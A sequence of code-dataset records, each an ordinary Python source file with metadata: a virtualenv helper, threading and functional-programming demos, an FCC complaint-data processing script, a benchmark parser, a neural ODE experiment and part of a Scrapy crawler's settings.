methods=[\"POST\"])\ndef handleGeoQuery():\n return _gqrp.processIncomingRequest(request.json)\n\n# Server startup\nif __name__ == \"__main__\":\n app.run(host = '127.0.0.1', port = _config[\"port\"])","sub_path":"service/src/foodtruck_service.py","file_name":"foodtruck_service.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"167571291","text":"'''\n Virtualenv without shell scripts.\n \n No more \"cd dir ; bin/activate\". Pure python scripts using virtualenv.\n \n Example::\n \n import ve\n ve.activate()\n \n import ... # from virtualenv\n \n ... code to run in virtualenv ...\n \n Example::\n \n from ve import venv\n \n with venv():\n import ... # from virtualenv\n ... code to run in virtualenv ...\n \n with venv(other_vdir):\n ... code to run in a different virtualenv ...\n \n ... code to run outside of virtualenv ...\n \n This module should be installed system wide, not in any virtualenv.\n \n If no virtualenv directory is supplied to activate() or venv(),\n this module will search the calling module's dir and then its\n parent dirs for a dir named 'virtualenv'. See virtualenv_dir().\n \n For maintainers: This module should never have any imports \n except from the standard python library. This allows you to import \n this module, activate a virtualenv, and then import other modules \n from that virtualenv. \n \n Do not import anything non-standard in this module at global scope.\n If you really need a non-standard import, import in a local scope.\n Example::\n _log = None\n def log(message):\n global _log\n # delayed non-global import, still takes effect globally\n from syr.log import get_log\n _log = get_log('ve.log')\n _log(message)\n \n This module is not named virtualenv because that module is part of the virtualenv\n program itself.\n \n To do:\n Check whether we are already in an activated virtualenv.\n \n Copyright 2011-2013 DeNova\n Released under the Creative Commons Attribution license. \n Last modified: 2013-03-21\n'''\n\nimport os, os.path, sys, traceback\nfrom contextlib import contextmanager\nfrom glob import glob\n\n# site_packages_subdir_glob is relative to the virtualenv dir \nsite_packages_subdir_glob = 'lib/python*/site-packages'\n \n@contextmanager\ndef venv(dir=None, django_app=None, restore=True):\n ''' Context manager to activate a virtualenv.\n \n Example::\n \n from ve import venv\n \n with venv():\n\n # imports delayed until in virtualenv\n import ...\n \n ... code to run in virtualenv ...\n \n To activate a virtualenv once for a module, use activate().\n\n This context manager will:\n * Set the VIRTUAL_ENV environment variable to the virtualenv dir\n * Set the current dir to the virtualenv dir\n * Prepend virtualenv/bin to the os environment PATH\n * Prepend sites-packages to sys.path\n * Optionally set the DJANGO_SETTINGS_MODULE environment variable\n \n If dir is not included or is None, ve searches for a virtualenv.\n See virtualenv_dir().\n \n On exiting the context, any changes to these system environment \n variables or python's sys.path are lost. \n \n Virtualenv's 'bin/activate' doesn't work well with fabric. See\n http://stackoverflow.com/questions/1691076/activate-virtualenv-via-os-system\n '''\n\n old_virtualenv = os.environ.get('VIRTUAL_ENV')\n old_settings_module = os.environ.get('DJANGO_SETTINGS_MODULE')\n old_path = os.environ.get('PATH')\n old_python_path = list(sys.path)\n old_cwd = os.getcwd()\n\n venv_dir = virtualenv_dir(dir)\n os.environ['VIRTUAL_ENV'] = venv_dir\n\n bin_dir = os.path.join(venv_dir, 'bin')\n path_dirs = os.environ['PATH'].split(':')\n if not bin_dir in path_dirs:\n new_path = ':'.join([bin_dir] + path_dirs)\n os.environ['PATH'] = new_path\n\n if django_app:\n os.environ['DJANGO_SETTINGS_MODULE'] = '%s.settings' % django_app\n\n os.chdir(venv_dir)\n \n packages_dir = site_packages_dir(venv_dir)\n sys.path.insert(0, packages_dir)\n \n try:\n yield\n\n finally:\n \n if restore:\n if old_virtualenv:\n os.environ['VIRTUAL_ENV'] = old_virtualenv\n else:\n del os.environ['VIRTUAL_ENV']\n \n os.environ['PATH'] = old_path\n \n if old_settings_module:\n os.environ['DJANGO_SETTINGS_MODULE'] = old_settings_module\n else:\n if 'DJANGO_SETTINGS_MODULE' in os.environ:\n del os.environ['DJANGO_SETTINGS_MODULE'] \n \n # because we may have su'd to another user since we originally \n # cd'd to the old dir, we may not have permission to cd back\n try:\n os.chdir(old_cwd)\n except OSError:\n # just log it\n #log('could not chdir(%s); probably not an error' % old_cwd)\n pass\n \n sys.path[:] = old_python_path\n\ndef activate(dir=None, django_app=None):\n ''' Activate a virtualenv.\n \n Example::\n \n # before any imports from a virtualenv\n import ve\n ve.activate(dir) # or ve.activate()\n \n # now we can import from the virtualenv\n import ...\n \n If dir is not included or is None, ve searches for a virtualenv.\n See virtualenv_dir(). \n \n If you want to enter and then exit the virtualenv, use the context \n manager venv().\n '''\n \n venv(dir, django_app=django_app, restore=False).__enter__()\n \ndef in_virtualenv(dir=None):\n ''' Return True if in virtualenv, else return False. \n \n If dir is specified, return if in specified venv. '''\n \n in_venv = False\n \n if 'VIRTUAL_ENV' in os.environ:\n \n if not dir:\n dir = os.environ['VIRTUAL_ENV']\n \n if dir == os.environ['VIRTUAL_ENV']: \n bin_dir = os.path.join(dir, 'bin')\n path_dirs = os.environ['PATH'].split(':')\n \n if bin_dir in path_dirs:\n \n if os.path.isdir(bin_dir):\n in_venv = True\n \n return in_venv\n \ndef virtualenv_dir(dir=None):\n ''' Return full path to virtualenv dir. Raises exception if the\n specified dir is not a virtualenv or no virtualenv is found. \n \n If dir is not included or is None, virtualenv_dir() searches for:\n * The VIRTUAL_ENV environment variable\n * a dir named \"virtualenv\" in\n * the calling program module's dir\n * any parent dir of the calling program module's dir\n \n This lets you run a program which automatically finds and then\n activates its own virtualenv. You don't need a wrapper script to \n first activate the virtualenv and then run your python code.\n \n If you have a default virtualenv dir that is not in your module's \n directory tree, you can still have ve automatically find it. Create \n a link to the virtualenv dir in the calling module's dir or one of \n its parent dirs. The link must be named \"virtualenv\". \n \n Example::\n \n # if your default virtualenv dir is mydefault/virtualenv\n # and your python code is in /usr/local/bin\n ln --symbolic mydefault/virtualenv /usr/local/bin\n \n '''\n \n if not dir:\n if 'VIRTUAL_ENV' in os.environ:\n dir = os.environ['VIRTUAL_ENV']\n \n else:\n \n # find the program module\n stack = traceback.extract_stack()[:-1]\n (filename, line_number, function_name, text) = stack[0]\n caller_dir = os.path.dirname(filename) or os.getcwd()\n dir = caller_dir\n \n dir = os.path.abspath(dir)\n \n vdir = None\n done = False\n while not done:\n \n if not dir or dir == '/':\n done = True\n \n elif os.path.basename(dir) == 'virtualenv':\n vdir = dir\n done = True\n \n elif 'virtualenv' in os.listdir(dir):\n vdir = os.path.join(dir, 'virtualenv')\n done = True\n \n else:\n # try the parent dir \n dir = os.path.dirname(dir)\n \n assert is_virtualenv(vdir), '%s is not a virtualenv' % vdir\n return vdir\n\ndef is_virtualenv(vdir):\n ''' Return whether specified dir is a virtualenv. '''\n \n return (\n vdir and \n os.path.basename(vdir) == 'virtualenv' and \n os.path.exists(os.path.join(vdir, 'bin', 'python'))\n )\n \ndef site_packages_dir(dir=None):\n ''' Return site-packages dir for venv dir '''\n \n venv_dir = virtualenv_dir(dir)\n \n old_dir = os.getcwd()\n os.chdir(venv_dir)\n \n local_site_packages_dir = glob(site_packages_subdir_glob)[0]\n result = os.path.abspath(os.path.join(venv_dir, local_site_packages_dir))\n \n os.chdir(old_dir)\n \n return result\n\ndef package_dir(package, dir=None):\n ''' Return package dir in venv dir '''\n\n return os.path.join(site_packages_dir(dir), package)\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","sub_path":"ve.py","file_name":"ve.py","file_ext":"py","file_size_in_byte":9376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"233556593","text":"import os\nfrom functools import reduce\nimport random\nfrom operator import mul\nfrom functools import partial\nclass BingoCage:\n def __init__(self, items):\n self._items = list(items)\n random.shuffle(self._items)\n def pick(self):\n try:\n return self._items.pop()\n except IndexError:\n raise LookupError('pick from empty BingoCage')\n def __call__(self):\n return self.pick()\n\ndef reverse(l):\n return l[::-1]\n\nif __name__=='__main__':\n s1 = 'purchaseorder'\n s2 = 'P01000121'\n print(reverse(s1))\n print(reverse(s2))\n t1 = sorted(s1, key=reverse)\n t2 = sorted(s2, key = reverse)\n print(t1)\n print(t2)\n fl = list(filter(lambda x:x%2==0, [1, 2, 3, 4, 5, 6]))\n r1 = reduce(lambda x, y:x*y, fl)\n print(r1)\n m1 = list(map(reverse, [\n s1, s2\n ]))\n b = BingoCage(range(3))\n # partial 冻结其中一个参数\n triple = partial(mul, 3)\n ret = list(map(triple, range(1,10)))\n print(ret)\n os.system('pause')","sub_path":"Demo/流畅的Python/Demo5.py","file_name":"Demo5.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"244291966","text":"# Threads run within the same scope of the program\r\n# Timer Program for threading\r\n# Filename: timer.py\r\n\r\n\r\nimport threading\r\nimport time\r\n\r\n\r\ntLock = threading.Lock() #create a thread lock\r\n\r\ndef timer(name, delay, repeat):\r\n\tprint(\"Timer: \" + name + \" started.\")\r\n\ttLock.acquire() # this thread acquired is locked\r\n\tprint(name + \" has acquired the lock.\")\r\n\twhile repeat > 0:\r\n\t\ttime.sleep(delay)\r\n\t\tprint(name + \": \" + str(time.ctime(time.time())))\r\n\t\trepeat -= 1\r\n\tprint(name+ \" is releasing the lock.\")\r\n\ttLock.release()\r\n\tprint(\"Timer: \" + name + \" completed.\")\r\n\r\n\t#if another thread gets to this one, once it gets to lock, it prevents collision\r\n\t\r\ndef Main():\r\n\t#create threads\r\n\tt1 = threading.Thread(target=timer, args=(\"Timer1\", 1, 7))\r\n\t#new thread\r\n\tt2 = threading.Thread(target=timer, args=(\"Timer2\", 2, 7))\r\n\tt1.start()\r\n\tt2.start()\r\n\r\n\tprint(\"Main cycle completed.\")\r\n\t\r\nif __name__=='__main__':\r\n\tMain()\r\n\r\n\r\n# Threads are great for continuous interaction.\r\n# We can create our own subclasses of thread.\r\n# Semaphores work like locks, but restrict access to a thread.\r\n# Threading isn't the answer to every problem.\r\n# If the prog is running on a CPU with only one core, the OS splits the time on the core,\r\n# and there is no performance improvment.\r\n\r\n# Threading is great for servers that deal with TCP connections. \r\n","sub_path":"timer_lock.py","file_name":"timer_lock.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"134708925","text":"import config\n\nimport requests\nfrom pathlib import Path\nfrom time import perf_counter\nfrom datetime import datetime\n\nimport pandas as pd\nfrom sodapy import Socrata\n\ndef coord_to_county(lat, lon):\n ''' Takes in the latitude and longitude coordinates\n and query the FCC API to find the county the coordinates lies within\n returns a dict with county name and county fips, returns None if error'''\n parameters = {'latitude': lat, 'longitude': lon, 'format':'json'}\n try:\n loc_res = requests.get(\"https://geo.fcc.gov/api/census/block/find\", params=parameters)\n ret_dict = loc_res.json()\n c_fips = ret_dict['County']['FIPS']\n county = ret_dict['County']['name']\n return {'county': county, 'c_fips': c_fips}\n except:\n print(\"Error: getting county from coordinates\")\n return None\n\ndef generate_ym_total_csv(year_start, month_start, year_end, month_end, log=True):\n '''For data from year_start-month_start to year_end-month_end,\n queries fcc api and processes location data (to add county)\n and generates total count by year-month into csv file: year-month.csv'''\n\n coord_to_county_dict = {} # dict to store location coord to county, fewer api calls\n\n # variables for sanity checks\n total_no_coord_counter = 0\n total_fcc_block_call = 0\n tic = 0\n\n # generate autheticated Socrata client based on api key from config\n client = Socrata(\"opendata.fcc.gov\",\n config.api_token,\n username=config.api_key,\n password=config.api_secret)\n\n\n for year in range(year_start, year_end + 1):\n # determine range of month in current year\n sm = 1\n em = 12\n if year == year_start:\n sm = month_start\n if year == year_end:\n em = month_end\n m_range = range(sm, em + 1)\n for month in m_range:\n mo = str(month) if month >= 10 else \"0\"+str(month)\n ym = f\"{year}-{mo}\"\n date_start = f\"{year}-{mo}-01T00:00:00.000\"\n # generate date_end for query\n if month == 12:\n date_end = f\"{str(year + 1)}-01-01\"\n else:\n mo = str(month + 1) if month >= 9 else \"0\"+str(month+1)\n date_end = f\"{str(year)}-{mo}-01\"\n\n # logging\n if log == True:\n print(f\"Processing {ym} data...\")\n tic = perf_counter()\n issues_processed = 0\n # query api\n count_query = f\"SELECT count(*)\\\n WHERE ticket_created >= '{date_start}'\\\n AND ticket_created < '{date_end}'\\\n AND issue_type = 'Internet'\"\n count_result = client.get(\"3xyp-aqkj\", query=count_query)\n count = count_result[0]['count']\n query = f\"SELECT method, issue, city, state, zip, location_1\\\n WHERE ticket_created >= '{date_start}'\\\n AND ticket_created < '{date_end}'\\\n AND issue_type = 'Internet'\\\n LIMIT {str(count)}\"\n results = client.get(\"3xyp-aqkj\", query=query)\n\n results_df = pd.DataFrame.from_records(results)\n\n # find out county information for specific location from api call\n c_fips = []\n county = []\n\n for coord in results_df['location_1']:\n try:\n lat = coord['latitude']\n lon = coord['longitude']\n loc_dict = {}\n if (lat, lon) not in coord_to_county_dict.keys():\n loc_dict = coord_to_county(coord['latitude'], coord['longitude'])\n total_fcc_block_call += 1\n coord_to_county_dict[(lat, lon)] = loc_dict\n else:\n loc_dict = coord_to_county_dict[(lat, lon)]\n c_fips.append(loc_dict['c_fips'])\n county.append(loc_dict['county'])\n except:\n total_no_coord_counter += 1\n c_fips.append(None)\n county.append(None)\n\n # add county information column\n results_df['county'] = county\n results_df['c_fips'] = c_fips\n\n # SELECT c_fips, county name, state code, count(*), GROUP BY c_fips\n # generate df for count, group by c_fips\n counts_df = results_df.groupby(['c_fips', 'county', 'state']).size().reset_index(name=\"total\")\n counts_df.set_index('c_fips')\n\n # add county population information into dataframe\n COUNTY_POP = Path('..') / \"co-est2019-alldata.csv\"\n pop_year = year if year <= 2019 else 2019\n columns = ['STATE', 'COUNTY', f\"POPESTIMATE{str(pop_year)}\"]\n dtypes={'STATE': 'str', 'COUNTY': 'str'}\n\n county_pop_df = pd.read_csv(COUNTY_POP, dtype=dtypes, usecols=columns)\n county_pop_df['c_fips'] = county_pop_df['STATE'] + county_pop_df['COUNTY']\n county_pop_df.set_index('c_fips')\n\n # join on c_fips and calculate per capita\n combined_df = pd.merge(counts_df, county_pop_df, on='c_fips')\n combined_df = combined_df.assign(per_capita=combined_df['total']/combined_df[f'POPESTIMATE{str(pop_year)}'])\n downsized_df = combined_df[['c_fips', 'county', 'state', 'total', 'per_capita']]\n\n # write to csv y-m.csv: c_fips, county name, state(?), count\n csvfile = Path('.') / f\"csv/{ym}.csv\"\n downsized_df.to_csv(csvfile, index=False)\n\n # finish logging\n if log == True:\n toc = perf_counter()\n issues_processed = len(results_df)\n print(f\"Finish processing {ym} data. Took {toc - tic:0.2f}s to process {issues_processed} issues.\")\n\n if log == True:\n print(f\"Total issues with no coordinates: {total_no_coord_counter}\")\n print(f\"Total calls to FCC Block API: {total_fcc_block_call}\")\n\nif __name__ == \"__main__\":\n now = datetime.now()\n print(f\"Started {str(now)}\")\n generate_ym_total_csv(2014, 10, 2020, 6)\n now = datetime.now()\n print(f\"Ended {str(now)}\")\n","sub_path":"process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":6291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"216069267","text":"#!/usr/bin/python3\n\nimport os\n\n\nbase = 'benchmarks'\nfolders = [ \"matrix-mpi\",\"phase-retrieval-benchmarks\",\n \"lid-driven-cavity\",\"FourierBenchmarks\",\n \"hpcg\" ]\n\nmetaData = ['minutes','seconds','instructions']\ndata = dict()\n\nfor folder in folders:\n path = base + \"/\" + folder + \"/\"\n files = os.listdir(path)\n \n # GET TIMING DATA ###############################################\n if not 'time.txt' in files:\n print(\"ERROR: no time.txt in: \" + folder)\n exit(1)\n\n rawTimeData = []\n with open(path + \"time.txt\",\"r\") as ifh:\n # chomps \\n's\n rawTimeData = [ x.split('\\n')[0] for x in ifh.readlines() ]\n\n minutes = \"\"\n seconds = \"\"\n for time in rawTimeData:\n if 'real' in time:\n parts = time.split('\\t')\n minutes = parts[1].split('m')[0]\n seconds = parts[1].split('m')[1].split('s')[0]\n\n # GET INSTRUCTION DATA ##########################################\n callgrindFiles = []\n for i in files:\n if i.split('.')[0] == 'callgrind':\n callgrindFiles.append(i)\n \n if len(callgrindFiles) == 0:\n print(\"ERROR: no callgrind files in: \" + folder)\n exit(1)\n\n instructionCounts = []\n for i in callgrindFiles:\n with open( path + i ,\"r\") as ifh:\n instructionCounts.append(ifh.readlines()[-1].split(\" \")[1].split('\\n')[0])\n\n count = sum([ int(x) for x in instructionCounts])/len(instructionCounts)\n\n # Store data\n data[folder] = dict()\n data[folder]['minutes'] = minutes\n data[folder]['seconds'] = seconds\n data[folder]['instructions'] = count\n\nfor benchmark in data:\n for header in metaData:\n print(\"%s\\t%s\\t%s\" % (benchmark,header,data[benchmark][header]))\n\n\n\n","sub_path":"getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"214178513","text":"class Solution(object):\n def findMin(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) < 1:\n return -1\n if len(nums) == 1:\n return nums[0]\n if nums[0] < nums[-1]:\n return nums[0]\n elif nums[-1] < nums[-2]:\n return nums[-1]\n left, right = 0, len(nums)-1\n while left max(nums[left], nums[right]):\n left = mid + 1\n elif nums[mid] < min(nums[left], nums[right]):\n right = mid - 1\n else:\n return nums[left]\n return min(nums[left],nums[right])\n","sub_path":"Python/findMinRotatedArray.py","file_name":"findMinRotatedArray.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"231897865","text":"import time\nimport os\nimport matplotlib.pyplot as plt\nimport argparse\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--tol', type=float, default=1e-3)\nparser.add_argument('--adjoint', type=eval, default=False)\nparser.add_argument('--visualise', type=eval, default=True)\nparser.add_argument('--niters', type=int, default=2200)\nparser.add_argument('--lr', type=float, default=0.01)\nparser.add_argument('--gpu', type=int, default=0)\nparser.add_argument('--ntimestamps', type=int, default=100)\nparser.add_argument('--experiment_no', type=int, default=1)\nargs = parser.parse_args()\n\nif args.adjoint:\n from torchdiffeq import odeint_adjoint as odeint\nelse:\n from torchdiffeq import odeint\n\n\n\nclass ODEfunc(nn.Module):\n\n def __init__(self, dim, nhidden):\n super(ODEfunc, self).__init__()\n self.elu = nn.ELU(inplace=False)\n self.fc1 = nn.Linear(2*dim, nhidden)\n self.fc2 = nn.Linear(nhidden, nhidden)\n self.fc3 = nn.Linear(nhidden, dim)\n self.nfe = 0\n\n def forward(self, t, x):\n cutoff = int(len(x)/2)\n z = x[:cutoff]\n v = x[cutoff:]\n self.nfe += 1\n out = self.fc1(x)\n out = self.elu(out)\n out = self.fc2(out)\n out = self.elu(out)\n out = self.fc3(out)\n return torch.cat((v, out))\n \n\nclass ODEBlock(nn.Module):\n\n def __init__(self, odefunc, integration_times, indices):\n super(ODEBlock, self).__init__()\n self.odefunc = odefunc\n self.integration_times = integration_times\n self.indices = indices\n\n def forward(self, x):\n integrated = odeint(self.odefunc, x, self.integration_times, rtol=args.tol, atol=args.tol)\n out = integrated.gather(1, self.indices)\n return out\n\n @property\n def nfe(self):\n return self.odefunc.nfe\n\n @nfe.setter\n def nfe(self, value):\n self.odefunc.nfe = value\n \n \ndef count_parameters(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n\ngamma = np.array([0.1, 0.3])\nomega = np.array([1, 1.2])\n\nA, B, C, D = 1, 3, -5, 2\nA_bar = np.array([omega[0]*B-gamma[0]*A, omega[1]*D-gamma[1]*C])\nB_bar = np.array([gamma[0]*B+omega[0]*A, gamma[1]*D+omega[1]*C])\n\ndef x(t):\n return torch.exp(-gamma[0]*t)*(A*torch.cos(omega[0]*t)+B*torch.sin(omega[0]*t))\n \n\ndef real_vel_x(t):\n return torch.exp(-gamma[0]*t)*((A_bar[0])*torch.cos(omega[0]*t)-(B_bar[0])*torch.sin(omega[0]*t))\n\n\ndef y(t):\n return torch.exp(-gamma[1]*t)*(C*torch.cos(omega[1]*t)+D*torch.sin(omega[1]*t))\n\n\ndef real_vel_y(t):\n return torch.exp(-gamma[1]*t)*((A_bar[1])*torch.cos(omega[1]*t)-(B_bar[1])*torch.sin(omega[1]*t))\n\n\n\n\nif __name__ == '__main__':\n device = torch.device('cuda:' + str(args.gpu) if torch.cuda.is_available() else 'cpu')\n filename = 'results./sonode./given_initial_conditions./'+str(args.experiment_no)+'./'\n try:\n os.makedirs('./'+filename)\n except FileExistsError:\n pass\n data_dim = 2\n dim = data_dim\n #dim does not equal data_dim for ANODEs where they are augmented with extra zeros\n \n # model\n # making time samples\n t0, tN = 0, 10\n\n samp_ts = torch.linspace(t0, tN, args.ntimestamps).float()\n samp_ts = torch.reshape(samp_ts, (args.ntimestamps, 1)).to(device)\n \n # making sampled data to fit\n x_ = x(samp_ts)\n y_ = y(samp_ts)\n \n z = torch.cat((x_, y_), dim=1).float().to(device)\n z0 = z[0].float().to(device)\n \n init_vel = torch.tensor([A_bar[0],A_bar[1]])\n z0 = torch.cat((z0, init_vel))\n \n nhidden = 20\n \n ids = torch.arange(data_dim)\n ids = ids.repeat(args.ntimestamps, 1).long()\n \n feature_layers = [ODEBlock(ODEfunc(dim, nhidden), samp_ts, ids)]\n model = nn.Sequential(*feature_layers).to(device)\n optimizer = optim.Adam(model.parameters(), lr=args.lr)\n loss_func = nn.MSELoss()\n\n itr_arr = np.empty(args.niters)\n loss_arr = np.empty(args.niters)\n nfe_arr = np.empty(args.niters)\n time_arr = np.empty(args.niters)\n\n # training\n start_time = time.time()\n for itr in range(1, args.niters + 1):\n feature_layers[0].nfe = 0\n iter_start_time = time.time()\n optimizer.zero_grad()\n #forward in time and solve ode\n pred_z = model(z0).to(device)\n # compute loss\n loss = loss_func(pred_z, z)\n loss.backward()\n optimizer.step()\n # make arrays\n iter_end_time = time.time()\n itr_arr[itr-1] = itr\n loss_arr[itr-1] = loss\n nfe_arr[itr-1] = feature_layers[0].nfe\n time_arr[itr-1] = iter_end_time-iter_start_time\n \n print('Iter: {}, running MSE: {:.4f}'.format(itr, loss))\n\n end_time = time.time()\n print('\\n')\n print('Training complete after {} iterations.'.format(itr))\n loss = loss.detach().numpy()\n print('Train MSE = ' +str(loss))\n print('NFE = ' +str(feature_layers[0].nfe))\n print('Total time = '+str(end_time-start_time))\n print('No. parameters = '+str(count_parameters(model)))\n \n np.save(filename+'itr_arr.npy', itr_arr)\n np.save(filename+'nfe_arr.npy', nfe_arr)\n np.save(filename+'loss_arr.npy', loss_arr)\n np.save(filename+'time_arr.npy', time_arr)\n torch.save(model, filename+'model.pth')\n \n x_ = x_.numpy()\n x_ = np.transpose(x_)[0]\n\n y_ = y_.numpy()\n y_ = np.transpose(y_)[0]\n \n x_vel_true = real_vel_x(samp_ts).numpy()\n x_vel_true = np.transpose(x_vel_true)[0]\n \n y_vel_true = real_vel_y(samp_ts).numpy()\n y_vel_true = np.transpose(y_vel_true)[0]\n \n to_plot = pred_z.reshape((args.ntimestamps, data_dim))\n to_plot = to_plot.detach().numpy()\n to_plot = np.transpose(to_plot)\n x_pos = to_plot[0]\n y_pos = to_plot[1]\n plt.plot(x_pos, y_pos, label='Learnt', color='r')\n plt.plot(x_, y_, label='True', color='b')\n plt.legend()\n plt.savefig(filename+'trajectories.png')\n \n plot_ts = samp_ts.detach().numpy()\n plot_ts = np.transpose(plot_ts)[0]\n \n plt.figure()\n plt.plot(plot_ts, x_, label='True x', color='b')\n plt.plot(samp_ts, x_pos, label='Learnt x', color='r')\n plt.ylabel('x')\n plt.xlabel('t')\n plt.legend()\n plt.savefig(filename+'x.png')\n \n plt.figure()\n plt.plot(samp_ts, y_, label='True y', color='b')\n plt.plot(samp_ts, y_pos, label='Learnt y', color='r')\n plt.ylabel('y')\n plt.xlabel('t')\n plt.legend()\n plt.savefig(filename+'y.png')\n \n integrated = odeint(feature_layers[0].odefunc, z0, samp_ts)\n ids1 = torch.full((args.ntimestamps, 1), 2).long()\n ids2 = torch.full((args.ntimestamps, 1), 3).long()\n ids = torch.cat((ids1, ids2), dim=1)\n vel = integrated.gather(1, ids)\n \n vel = vel.detach().numpy()\n vel = np.transpose(vel)\n vel_x = vel[0]\n vel_y = vel[1]\n \n plt.figure()\n plt.plot(samp_ts, vel_x, label='vel x', color='g')\n plt.plot(plot_ts, x_, label='x', color ='b')\n plt.plot(plot_ts, y_, label='y', color='r')\n plt.legend()\n plt.savefig(filename+'vel_x.png')\n \n plt.figure()\n plt.plot(samp_ts, vel_y, label='vel y', color='g')\n plt.plot(plot_ts, x_, label='x', color ='b')\n plt.plot(plot_ts, y_, label='y', color='r')\n plt.legend()\n plt.savefig(filename+'vel_y.png')\n \n plt.figure()\n plt.plot(x_, y_, label='True func', color='b')\n plt.plot(x_pos, y_pos, label='Learnt func', color='r')\n plt.plot(x_vel_true, y_vel_true, label='True vel', color = 'g')\n plt.plot(vel_x, vel_y, label='Learnt vel', color='k')\n plt.legend(loc='upper left')\n plt.xlabel('x')\n plt.ylabel('y')\n plt.savefig(filename+'vel_colour.png')\n \n plt.figure()\n plt.plot(x_, y_, label='True func', color='#00429d')\n plt.plot(x_pos, y_pos, label='Learnt func', color='#f4777f')\n plt.plot(x_vel_true, y_vel_true, label='True vel', color = '#73a2c6')\n plt.plot(vel_x, vel_y, label='Learnt vel', color='#93003a')\n plt.legend(loc='upper left')\n plt.xlabel('x')\n plt.ylabel('y')\n plt.savefig(filename+'vel_no_colour.png')\n \n np.save(filename+'learnt_x.npy', x_pos)\n np.save(filename+'learnt_y.npy', y_pos)\n np.save(filename+'learnt_x_vel.npy', vel_x)\n np.save(filename+'learnt_y_vel.npy', vel_y)\n \n \n \n \n\n \n \n\n \n \n\n \n \n\n\n","sub_path":"experiments/function_fitting/2d_function/2d_function_fit_sonode_given_init_conditions.py","file_name":"2d_function_fit_sonode_given_init_conditions.py","file_ext":"py","file_size_in_byte":8368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"123480093","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for paperCrawl project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n# http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\nimport os\n\nBOT_NAME = 'paperCrawl'\n\nSPIDER_MODULES = ['paperCrawl.spiders']\nNEWSPIDER_MODULE = 'paperCrawl.spiders'\n\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n#USER_AGENT = 'paperCrawl (+http://www.yourdomain.com)'\n\n# Obey robots.txt rules\nROBOTSTXT_OBEY = False\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n#CONCURRENT_REQUESTS = 32\n\n# Configure a delay for requests for the same website (default: 0)\n# See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\nDOWNLOAD_DELAY = 0.25\n# The download delay setting will honor only one of:\n#CONCURRENT_REQUESTS_PER_DOMAIN = 16\n#CONCURRENT_REQUESTS_PER_IP = 16\n\n# Disable cookies (enabled by default)\n#COOKIES_ENABLED = False\nCOOKIES_ENABLED=False\n# Disable Telnet Console (enabled by default)\n#TELNETCONSOLE_ENABLED = False\n\n# Override the default request headers:\nUSER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) ' \\\n 'AppleWebKit/537.36 (KHTML, like Gecko) ' \\\n 'Chrome/49.0.2623.87 Safari/537.36'\nDEFAULT_REQUEST_HEADERS = {\n 'Host': 'kns.cnki.net',\n 'Connection': 'keep-alive',\n 'Pragma': 'no-cache',\n 'Cache-Control': 'no-cache',\n 'Accept': '*/*',\n 'Origin': 'http://kns.cnki.net',\n 'User-Agent': USER_AGENT,\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Accept-Encoding': 'gzip, deflate,sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n}\n\n# Enable or disable spider middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\n#SPIDER_MIDDLEWARES = {\n# 'paperCrawl.middlewares.PapercrawlSpiderMiddleware': 543,\n#}\n\n# Enable or disable downloader middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n#DOWNLOADER_MIDDLEWARES = {\n# 'paperCrawl.middlewares.MyCustomDownloaderMiddleware': 543,\n#}\nDOWNLOADER_MIDDLEWARES = {\n# 'scrapy.contrib.downloadermiddleware.httpproxy.HttpProxyMiddleware': 110,\n# 'paperCrawl.middlewares.UAMiddleware': 81,\n 'paperCrawl.middlewares.ProxyUserAgentMiddleware':110,\n 'scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware': 350,\n# 'paperCrawl.middlewares.HttpProxyMiddleware': 543,\n}\n\n# 项目路径\nPROJECT_DIR = os.path.dirname(os.path.abspath(os.path.curdir))\n\n# mongodb配置\nMONGO_URI = 'mongodb://localhost:27017'\n\n\n#Mysql配置\nMYSQL_URI = 'mysql+pymysql://root:asdasd@localhost:3306/zhiWang?charset=utf8'\n\n# Enable or disable extensions\n# See http://scrapy.readthedocs.org/en/latest/topics/extensions.html\n#EXTENSIONS = {\n# 'scrapy.extensions.telnet.TelnetConsole': None,\n#}\n\n# Configure item pipelines\n# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n 'paperCrawl.pipelines.MysqlPipeline': 300,\n}\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See 